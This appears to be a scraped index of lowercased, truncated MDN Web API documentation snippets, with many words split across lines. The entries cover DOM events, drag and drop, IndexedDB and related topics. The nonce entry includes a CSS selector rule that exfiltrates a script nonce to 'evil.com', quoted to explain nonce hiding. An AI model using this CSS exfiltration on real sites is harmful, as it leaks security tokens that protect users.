dicating that a css animation has started playing. globaleventhandlers.onauxclick an eventhandler called when an auxclick event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button). globaleventhandlers.onblur is an eventhandler representing the code to be called when the blur event is raised. globaleventhandlers.onerror is an onerro
reventhandler representing the code to be called when the error event is raised. globaleventhandlers.onfocus is an eventhandler representing the code to be called when the focus event is raised. globaleventhandlers.oncancel is an eventhandler representing the code to be called when the cancel event is raised. globaleventhandlers.oncanplay is an eventhandler representing the code to be called wh...
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
dowroot interface returns a caretposition object, containing the dom node, along with the caret and caret's character offset within that node. syntax var caretposition = document.caretpositionfrompoint(float x, float y); parameters x the horizontal coordinate of a point. y the vertical coordinate of a point. returns a caretposition object. example this example inserts line breaks whe
rever you click. the code for it is below the demo. demo html content <p>lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> javascript content func...
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
e node list of elements that are under a rectangle defined by left, top, width, and height. this proprietary method is specific to internet explorer and microsoft edge. syntax object.mselementsfromrect(left, top, width, height, retval) parameters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out,
reval] type: nodelist example to find all of the elements under a given point, use mselementsfrompoint(x, y). to find all of the elements which intersect a rectangle, use mselementsfromrect(top, left, width, height). var nodelist = document.mselementsfromrect(x,y,width,height) var nodelist = document.mselementsfrompoint(x,y) the returned nodelist is sorted by z-index so that you can tell the r...
Examples of web and XML development using the DOM - Web APIs
this chapter provides some longer examples of web and xml development using the dom. whe
rever possible, the examples use common apis, tricks, and patterns in javascript for manipulating the document object. example 1: height and width the following example shows the use of the height and width properties alongside images of varying dimensions: <!doctype html> <html lang="en"> <head> <title>width/height example</title> <script> function init() { var arrimages = new array(3); arrimages[0] = document.getelementbyid("image1"); arrimages[1] = document.getelementbyid("image2"); arrimages[2] = document.getelementbyid("image3"); var objoutput = document.getelementbyid("output"); var strhtml = "<ul>"; for (var i = 0; i < arrimages.length; i++) { strhtml += "<li>image" +...
Event.eventPhase - Web APIs
eventlistener() was called are triggered during this phase. event.at_target 2 the event has arrived at the event's target. event listeners registered for this phase are called at this time. if event.bubbles is false, processing the event is finished after this phase is complete. event.bubbling_phase 3 the event is propagating back up through the target's ancestors in
reverse order, starting with the parent, and eventually reaching the containing window. this is known as bubbling, and occurs only if event.bubbles is true. event listeners registered for this phase are triggered during this process. for more details, see section 3.1, event dispatch and dom event flow, of the dom level 3 events specification. example html <h4>event propagation chain</h4> <u...
Event.returnValue - Web APIs
the event property returnvalue indicates whether the default action for this event has been p
revented or not. it is set to true by default, allowing the default action to occur. setting this property to false p
revents the default action. note: while returnvalue has been adopted into the dom standard, it is present primarily to support existing code. you should use p
reventdefault(), and defaultp
revented instead of this historical property. syntax event.returnvalue = bool; var bool = event.returnvalue; value a boolean value which is true if the event has not been canceled; otherwise, if the event has been canceled or the default has been p
revented, the value is false. the value returned by returnvalue is the opposite of the value returned by defaultp
revented. usage notes returnvalu...
Event.stopImmediatePropagation() - Web APIs
if several listeners are attached to the same element for the same event type, they are called in the order in which they were added. if stopimmediatepropagation() is invoked during one such call, no remaining listeners will be called. ...
Event.stopPropagation() - Web APIs
syntax event.stoppropagation(); parameters none. return value undefined. examples see example 5: event propagation in the examples chapter for a more detailed example of this method and event propagation in the dom. specifications specification status comment domthe definition of 'event.stoppropagation()' in that specification. ...
EventSource: error event - Web APIs
the error event of the eventsource api is fired when a connection with an event source fails to be opened. bubbles no cancelable no interface event or erro
revent event handler property eventsource.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification. living standard ...
EventTarget.dispatchEvent() - Web APIs
ply to events dispatched manually with dispatchevent(). syntax cancelled = !target.dispatchevent(event) parameter event is the event object to be dispatched. target is used to initialize the event.target and determine which event listeners to invoke. return value the return value is false if event is cancelable and at least one of the event handlers which received event called event.p
reventdefault(). otherwise it returns true. the dispatchevent() method throws unspecified_event_type_err if the event's type was not specified by initializing the event before the method was called, or if the event's type is null or an empty string. exceptions exceptions thrown by event handlers are reported as uncaught exceptions. the event handlers run on a nested callstack; they block the call...
EventTarget - Web APIs
living standard no change. document object model (dom) level 3 events specificationthe definition of 'eventtarget' in that specification. obsolete a few parameters are now optional (listener), or accepts the null value (usecapture). ...
FetchEvent() - Web APIs
ervice worker is controlling. isreload read only a boolean that signifies whether the page was reloaded or not when the event was dispatched. true if yes, and false if not. typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not. if not present, it defaults to false. preloadresponse read only a promise which returns a p
reviously-loaded response to the client. replacesclientid read only a domstring which identifies the client which is being replaced by resultingclientid. resultingclientid read only a domstring containing the new clientid if the client changes as a result of the page load. request read only the request object that would have triggered the event handler. specifications s...
FetchEvent.resultingClientId - Web APIs
for example, when navigating from page a to page b resultingclientid is the id of the client associated with page b. if the fetch request is a subresource request or the request's destination is report, resultingclientid will be an empty string. syntax var myresultingclientid = fetchevent.resultingclientid; value a domstring. ...
FileError - Web APIs
y into its own child or moving a file into its parent directory without changing its name. invalid_state_err 7 the operation cannot be performed on the current state of the interface object. for example, the state that was cached in an interface object has changed since it was last read from disk. no_modification_allowed_err 6 the state of the underlying file system p
revents any writing to a file or a directory. not_found_err 1 a required file or directory could not be found at the time an operation was processed. for example, a file did not exist but was being opened. not_readable_err 4 the file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for example...
FileException - Web APIs
y into its own child or moving a file into its parent directory without changing its name. invalid_state_err 7 the operation cannot be performed on the current state of the interface object. for example, the state that was cached in an interface object has changed since it was last read from disk. no_modification_allowed_err 6 the state of the underlying file system p
revents any writing to a file or a directory. not_found_err 1 a required file or directory could not be found at the time an operation was processed. for example, a file did not exist but was being opened. not_readable_err 4 the file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for ex...
FileSystemFlags - Web APIs
s in an object, like this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there. note that these option flags currently don't have any useful meaning when used in the scope of web content, where security precautions p
revent the creation of new files or the replacement of existing ones. properties create optional if this property is true, and the requested file or directory doesn't exist, the user agent should create it. the default is false. the parent directory must already exist. exclusive optional if true, and the create option is also true, the file must not exist prior to issuing the call. instead, i...
FileHandle API - Web APIs
eating files and modifying their content (unlike the file api). because the files manipulated through that api can be physically stored on the device, the editing part uses a turn-based locking mechanism in order to avoid race issues. api overview this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was p
reviously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces. basic operations create a filehandle because the intent is to allow the storage of files through indexeddb, creating a filehandle instance requires an indexeddb database. var idbreq = indexeddb.open("myfilestoragedatabase"); idbreq.onsuccess = function(){ var d...
File and Directory Entries API - Web APIs
cess the filesystemfileentry objects for the currently selected files, but only if they are dragged-and-dropped onto the file chooser (bug 1326031). if htmlinputelement.webkitdirectory is true, the <input> element is instead a directory picker, and you get filesystemdirectoryentry objects for each selected directory. asynchronous api the asynchronous api should be used for most operations, to p
revent file system accesses from blocking the entire browser if used on the main thread. it includes the following interfaces: filesystem represents a file system. filesystementry the basic interface representing a single entry in a file system. this is implemented by other interfaces which represent files or directories. filesystemfileentry represents a single file in a file system. filesys...
Force Touch events - Web APIs
s and the behavior may change in the future. force touch events are a proprietary, apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad. events webkitmouseforcewillbegin this event is fired before the mousedown event. its main use is that it can be event.p
reventdefault()ed. webkitmouseforcedown this event is fired after the mousedown event as soon as sufficient pressure has been applied for it to qualify as a "force click". webkitmouseforceup this event is fired after the webkitmouseforcedown event as soon as the pressure has been reduced sufficiently to end the "force click". webkitmouseforcechanged this event is fired each time the amoun...
GainNode - Web APIs
en gain to be applied to the input data before its propagation to the output. a gainnode always has exactly one input and one output, both with the same number of channels. the gain is a unitless value, changing with time, that is multiplied to each corresponding sample of all input channels. if modified, the new gain is instantly applied, causing unaesthetic 'clicks' in the resulting audio. to p
revent this from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor gainnode() creates a new instan...
GamepadHapticActuator.pulse() - Web APIs
ticactuatorinstance.pulse(value, duration).then(function(result) { ... }); parameters value a double representing the intensity of the pulse. this can vary depending on the hardware type, but generally takes a value between 0.0 (no intensity) and 1.0 (full intensity). duration a double representing the duration of the pulse, in milliseconds. note: repeated calls to pulse() override the p
revious calls if they are still ongoing. return value a promise that resolves with a value of true when the pulse has successfully completed. examples tbc specifications specification status comment gamepad extensionsthe definition of 'pulse()' in that specification. editor's draft initial definition ...
Geolocation.clearWatch() - Web APIs
syntax navigator.geolocation.clearwatch(id); parameters id the id number returned by the geolocation.watchposition() method when installing the handler you wish to remove. ...
Geolocation - Web APIs
d. geolocation.getcurrentposition() secure context determines the device's current location and gives back a geolocationposition object with the data. geolocation.watchposition() secure context returns a long value representing the newly established callback function to be invoked whenever the device location changes. geolocation.clearwatch() secure context removes the particular handler p
reviously installed using watchposition(). specifications specification status comment geolocation api recommendation initial specification. ...
Geolocation API - Web APIs
ameter, providing access information on what went wrong. an optional positionoptions object, which provides options for retrieval of the position data. for further information on geolocation usage, read using the geolocation api. interfaces geolocation the main class of this api — contains methods to retrieve the user's current position, watch for changes in their position, and clear a p
reviously-set watch. geolocationposition represents the position of a user. a geolocationposition instance is returned by a successful call to one of the methods contained inside geolocation, inside a success callback, and contains a timestamp plus a geolocationcoordinates object instance. geolocationcoordinates represents the coordinates of a user's position; a geolocationcoordinates instance co...
GlobalEventHandlers.oncancel - Web APIs
syntax target.oncancel = functionref; value functionref is a function name or a function expression. the function receives an event object as its sole argument. only one oncancel handler can be assigned to an object at a time. ...
GlobalEventHandlers.ondrag - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_han...
GlobalEventHandlers.ondragend - Web APIs
) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragenter - Web APIs
) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragexit - Web APIs
) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragleave - Web APIs
) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragover - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dra...
GlobalEventHandlers.ondragstart - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dra...
GlobalEventHandlers.ondrop - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" o...
GlobalEventHandlers.ongotpointercapture - Web APIs
the ongotpointercapture property of the globaleventhandlers mixin is an eventhandler that processes gotpointercapture events. syntax target.ongotpointercapture = functionref; value functionref is a function name or a function expression. the function receives a pointe
revent object as its sole argument. example function overhandler(event) { // determine the target event's gotpointercapture handler let gotcapturehandler = event.target.ongotpointercapture; } function init() { let el = document.getelementbyid('target'); el.ongotpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'ongotpointercapture' in that specification. recommendation ...
HTMLElement: pointerenter event - Web APIs
the pointerenter event fires when a pointing device is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event from a device that does not support hover (see pointerdown). ...
HTMLElement: pointerleave event - Web APIs
the pointerleave event is fired when a pointing device is moved out of the hit test boundaries of an element. for pen devices, this event is fired when the stylus leaves the hover range detectable by the digitizer. ...
HTMLElement: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action. bubbles yes cancelable yes interface pointe
revent event handler property onpointermove usage notes the event, which is of type pointe
revent, provides all the information you need to know about the user's interaction with the pointing device, including the position, movement distance, button states, and much more. examples to add a handler for pointermove events using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); you can also use the onpointermove event handler property: const para = document.querysel...
HTMLElement: pointerout event - Web APIs
ired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer. ...
HTMLElement: transitionend event - Web APIs
completion, such as if the transition-property is removed or display is set to none, then the event will not be generated. bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully
reverts to the default or non-transitioned state. if there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition events are fired. if the transitioncancel event is fired, the transitionend event will not fire. examples this code gets an element that has a transition defined and adds a listener to the transitionend event: cons...
HTMLFrameSetElement - Web APIs
nt is raised. specifications specification status comment html living standardthe definition of 'htmlframesetelement' in that specification. living standard from the html5 snapshot, the windoweventhandlers interface now have a onlanguagechange property. html5the definition of 'htmlframesetelement' in that specification. recommendation snapshot of a p
revious html living standard frames are now obsolete. implements windoweventhandlers. document object model (dom) level 2 html specificationthe definition of 'htmlbodyelement' in that specification. obsolete no change from document object model (dom) level 1 specification. document object model (dom) level 1 specificationthe definition of 'htmlbodyelement' in that specific...
HTMLImageElement.alt - Web APIs
ge is being used for. these are shown in the examples below. decorative images images with no semantic meaning—such as those which are solely decorative—or of limited informational value, should have their alt attributes set to the empty string (""). this is shown in the example below. html in the html for this example, shown below, the <img> element includes the alt property, which will p
revent the image from having any alternate text, since it's simply a decorational detail. <div class="container"> <div class="left-margin"> <img src="/files/16861/margin-flourish.svg" alt=""> </div> <div class="contents"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. quisque quis orci ligula. lorem ipsum dolor sit amet, consectetur adipiscing elit. in ac neque lib...
HTMLImageElement.complete - Web APIs
as completely loaded; otherwise, the value is false. the image is considered completely loaded if any of the following are true: neither the src nor the srcset attribute is specified. the srcset attribute is absent and the src attribute, while specified, is the empty string (""). the image resource has been fully fetched and has been queued for rendering/compositing. the image element has p
reviously determined that the image is fully available and ready for use. the image is "broken;" that is, the image failed to load due to an error or because image loading is disabled. it's worth noting that due to the image potentially being received asynchronously, the value of complete may change while your script is running. examples consider a photo library app that provides the ability to ...
HTMLImageElement.decode() - Web APIs
the decode() method of the htmlimageelement interface returns a promise that resolves when the image is decoded and it is safe to append the image to the dom. this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom. this, in turn, p
revents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads. syntax var promise = htmlimageelement.decode(); parameters none. return value a promise which is resolved once the image data is ready to be used. exceptions encodingerror a domexception indicating that an error occurred while decoding the image. usage notes one potential use ca...
HTMLInputElement - Web APIs
-containing or elements autocomplete string: returns / sets the element's autocomplete attribute, indicating whether the value of the control can be automatically completed by the browser. ignored if the value of the type attribute is hidden, checkbox, radio, file, or a button type (button, submit, reset, image). possible values are: on: the browser can autocomplete the value using p
reviously stored value off: the user must explicity enter a value max string: returns / sets the element's max attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value. maxlength long: returns / sets the element's maxlength attribute, containing the maximum number of characters (in unicode co...
HTMLMediaElement.autoplay - Web APIs
wser, see our article autoplay guide for media and web audio apis. syntax htmlmediaelement.autoplay = true | false; var autoplay = htmlmediaelement.autoplay; value a boolean whose value is true if the media element will begin playback as soon as enough content has loaded to allow it to do so without interruption. note: some browsers offer users the ability to override autoplay in order to p
revent disruptive audio or video from playing without permission or in the background. do not rely on autoplay actually starting playback and instead use play event. examples ... <video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (recommended) *** false is th...
HTMLMediaElement.initialTime - Web APIs
the htmlmediaelement.initialtime is the initial playback position in seconds. this property is obsolete, you can use a media fragments uri in the htmlmediaelement.src attribute instead. syntax ... value a double. example ... specifications this was p
reviously defined within the whatwg html living standard, though was removed because of missing use cases. ...
HTMLObjectElement - Web APIs
ing, then the element is suffering from a custom validity error, and does not validate. specifications specification status comment html living standardthe definition of 'htmlobjectelement' in that specification. living standard html5the definition of 'htmlobjectelement' in that specification. recommendation the w3c specification is a latest of a p
revious version of html living standard technically, the property tabindex is now defined on htmlelement. the following properties are now obsolete: align, archive, border, code, codebase, codetype, declare, hspace, standby, and vspace. the following properties have been added: typemustmatch, contentwindow, willvalidate, validity, and validationmessage. the following methods have been...
HTMLOrForeignElement.nonce - Web APIs
in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). the idl property (script['nonce']) will be the only way to access nonces. nonce hiding helps p
reventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification. browser compatibility the compatibility table on this page is generated fr...
HTMLTableCellElement - Web APIs
cellelement.abbr a domstring which can be used on <th> elements (not on <td>), specifying an alternative label for the header cell.. this alternate label can be used in other contexts, such as when describing the headers that apply to a data cell. this is used to offer a shorter term for use by screen readers in particular, and is a valuable accessibility tool. usually the value of abbr is an abb
reviation or acronym, but can be any text that's appropriate contextually. htmltablecellelement.cellindex read only a long integer representing the cell's position in the cells collection of the <tr> the cell is contained within. if the cell doesn't belong to a <tr>, it returns -1. htmltablecellelement.colspan an unsigned long integer indicating the number of columns this cell must span; this le...
In depth: Microtasks and the JavaScript runtime environment - Web APIs
making it possible to schedule code to run before the next iteration of the event loop begins, instead of having to wait until the next one. the microtask queue has been around for a while, but it's historiclaly been used only internally in order to drive things like promises. the addition of queuemicrotask(), exposing it to web developers, creates a unified queue for microtasks which is used whe
rever it's necessary to have the ability to schedule code to run safely when there are no execution contexts left on the javascript execution context stack. across multiple instances and across all browsers and javascript runtimes, a standardized microqueue mechanism means these microtasks will operate reliably in the same order, thus avoiding potentially difficult to find bugs. ...
Using microtasks in JavaScript with queueMicrotask() - Web APIs
e timeout's callback. that's because when the task that's handling the execution of the main program exits, the microtask queue gets processed before the task queue on which the timeout callback is located. remembering that tasks and microtasks are kept on separate queues, and that microtasks run first will help keep this straight. microtask from a function this example expands slightly on the p
revious one by adding a function that does some work. this function uses queuemicrotask() to schedule a microtask. the important thing to take away from this one is that the microtask isn't processed when the function exits, but when the main program exits. html <pre id="log"> </pre> javascript the code below is used to log the output. let logelem = document.getelementbyid("log"); let log = s...
The HTML DOM API - Web APIs
s these interfaces are used by the web components api to create and manage the available custom elements. customelementregistry miscellaneous and supporting interfaces these supporting object types are used in a variety of ways in the html dom api. in addition, promiserejectionevent represents the event delivered when a javascript promise is rejected. domstringlist domstringmap erro
revent htmlallcollection mimetype mimetypearray promiserejectionevent interfaces belonging to other apis several interfaces are technically defined in the html specification while actually being part of other apis. web storage interfaces the web_storage_api provides the ability for web sites to store data either temporarily or permanently on the user's device for later re-use. storage ...
HashChangeEvent - Web APIs
onaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event. hashchangeevent.newurl read only the new url to which the window is navigating. hashchangeevent.oldurl read only the p
revious url from which the window was navigated. methods this interface has no methods of its own, but inherits the methods of its parent, event. examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = funcref; or <body onhashchange="funcref();"> or window.addeventlistener("hashchange", funcref, false); ...
History.back() - Web APIs
this method is asynchronous. add a listener for the popstate event in order to determine when the navigation has completed. syntax history.back() examples the following short example causes a button on the page to navigate back one entry in the session history. ...
History.scrollRestoration - Web APIs
ich the user has scrolled will be restored. manual the location on the page is not restored. the user will have to scroll to the location manually. examples query the current scroll restoration behavior. const scrollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } p
revent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status comment html living standardthe definition of 'scroll restoration mode' in that specification. living standard no change from html5. html5the definition of 'history.scrollrestoration' in that specification.
IDBCursor.continue() - Web APIs
nsactioninactiveerror this idbcursor's transaction is inactive. dataerror the key parameter may have any of the following conditions: the key is not a valid key. the key is less than or equal to this cursor's position and the cursor's direction is next or nextunique. the key is greater than or equal to this cursor's position and this cursor's direction is p
rev or p
revunique. invalidstateerror the cursor is currently being iterated or has iterated past its end. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. the cursor does not require us to select the data based on a key; we can just grab all of it. also note that in...
IDBCursor - Web APIs
the cursor shows all records, including duplicates. it starts at the lower bound of the key range and moves upwards (monotonically increasing in the order of keys). nextunique : "nextunique" : the cursor shows all records, excluding duplicates. if multiple records exist with the same key, only the first one iterated is retrieved. it starts at the lower bound of the key range and moves upwards. p
rev : "p
rev" : the cursor shows all records, including duplicates. it starts at the upper bound of the key range and moves downwards (monotonically decreasing in the order of keys). p
revunique : "p
revunique" : the cursor shows all records, excluding duplicates. if multiple records exist with the same key, only the first one iterated is retrieved. it starts at the upper bound of the key range and mov...
IDBCursorSync - Web APIs
zed by the internal structured cloning algorithm. constants constant value description next 0 this cursor includes duplicates, and its direction is monotonically increasing in the order of keys. next_no_duplicate 1 this cursor does not include duplicates, and its direction is monotonically increasing in the order of keys. p
rev 2 this cursor includes duplicates, and its direction is monotonically decreasing in the order of keys. p
rev_no_duplicate 3 this cursor does not include duplicates, and its direction is monotonically decreasing in the order of keys. methods continue() advances the cursor to the next position along its direction, to the item whose key matches the optional key parameter...
IDBDatabase.createObjectStore() - Web APIs
on with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database. invalidaccesserror if autoincrement is set to true and keypath is either an empty string or an array conta...
IDBDatabase.deleteObjectStore() - Web APIs
se a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror you are trying to delete an object store that does not exist. names are case sensitive. example var dbname = "sampledb"; var dbversion = 2; var request = indexeddb.open(dbname, dbversion); request.onupgradeneeded = function(e)...
IDBDatabase.onversionchange - Web APIs
recommendation indexed database api draftthe definition of 'onversionchange' in that specification. recommendation browser compatibility the compatibility table on this page is generat...
IDBEnvironment - Web APIs
the idbenvironment helper of the indexeddb api contains the indexeddb property, which provides access to indexeddb functionality. it is the top level indexeddb interface implemented by the window and worker objects. note: this feature is available in web workers. properties idbenvironment.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; contains an idbfactory object. ...
IDBObjectStore.createIndex() - Web APIs
alled from a versionchange transaction mode callback, i.e. from inside a idbopendbrequest.onupgradeneeded handler. the object store has been deleted. syntaxerror occurs if the provided keypath is not a valid key path. transactioninactiveerror occurs if the transaction this idbobjectstore belongs to is not active (e.g. has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. createindex() is used to create new indexes on the object store. ...
IDBObjectStore.deleteIndex() - Web APIs
undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode callback. transactioninactiveerror occurs if the transaction this idbobjectstore belongs to is not active (e.g. has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database. example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a ...
IDBObjectStore.openCursor() - Web APIs
ection); parameters query optional a key or idbkeyrange to be queried. if a single valid key is passed, this will default to a range containing only that key. if nothing is passed, this will default to a key range that selects all the records in this object store. direction optional an idbcursordirection telling the cursor what direction to travel. valid values are "next", "nextunique", "p
rev", and "p
revunique". the default is "next". return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror this idbobjectstore or idbindex has been deleted. transactioninactiveerror this idbobjectstor...
IDBObjectStore.openKeyCursor() - Web APIs
